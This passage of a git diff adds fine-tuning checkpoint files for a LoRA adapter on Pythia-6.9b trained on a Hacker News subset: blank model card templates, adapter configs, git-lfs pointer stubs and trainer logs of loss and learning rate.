+ +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c58a03d37fd41378ca1955af1473161a27e9ab24 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:80c83fb1b15e49833d4d9ccf729caa01a9f64c98adafed5b44d7408a116e1c46 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..52464ff60185b1159ef7189f02ca634e6b779c01 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f65ecb9ee638f06bef167d1e5608ecba8ac9e785c133ddc48e59156c4f54710e +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..e8b03e39b0cf81b4b723b9421b9fca8f87c7b414 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:319884e2d6c1fad0795ced8add37e8073910c77073120da512a5e6a1f6208d62 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..24dce4e18218617e13af9f93046f397a711717c2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fe938637817d41932e7175fe8d9bcdaa1f1383328b73e4b56a4e373476a295ba +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..9809a858b0784be13d7b06db895b67d808ff745a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/trainer_state.json @@ -0,0 +1,198 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.4666666666666668, + "eval_steps": 10, + "global_step": 110, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.80246791847936e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..1fb37dd58843c20da4d3a49c4153123a5bc74258 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9f72c6965bd3e2185fa222b6420332104ac5b30b76d7d367584ccd965ab002d9 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..f00ed858c2559d3c8a952c28a1353bcc7bc1ec22 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fdf0a31da514f241e461d8751356dd9ffc74cf0acc9ab804bc9124527fa46543 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..71b7a5227226dcaeadffec096acbc7df0f632989 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3500ac793bd5f15c49da717801f854f9815260499ab4bc16b8f3a1ca9c82dfdf +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9eb62bb8ba22966a1e254979e1d2479886d174dd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:145815d6a6480fb85323e9a0f9a98f3e8faa57003487fcac0be85abbf27b4575 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..156c09cb537359fbabbc01d52756905ebbc1b637 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/trainer_state.json @@ -0,0 +1,213 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.6, + "eval_steps": 10, + "global_step": 120, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.96632863834112e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git 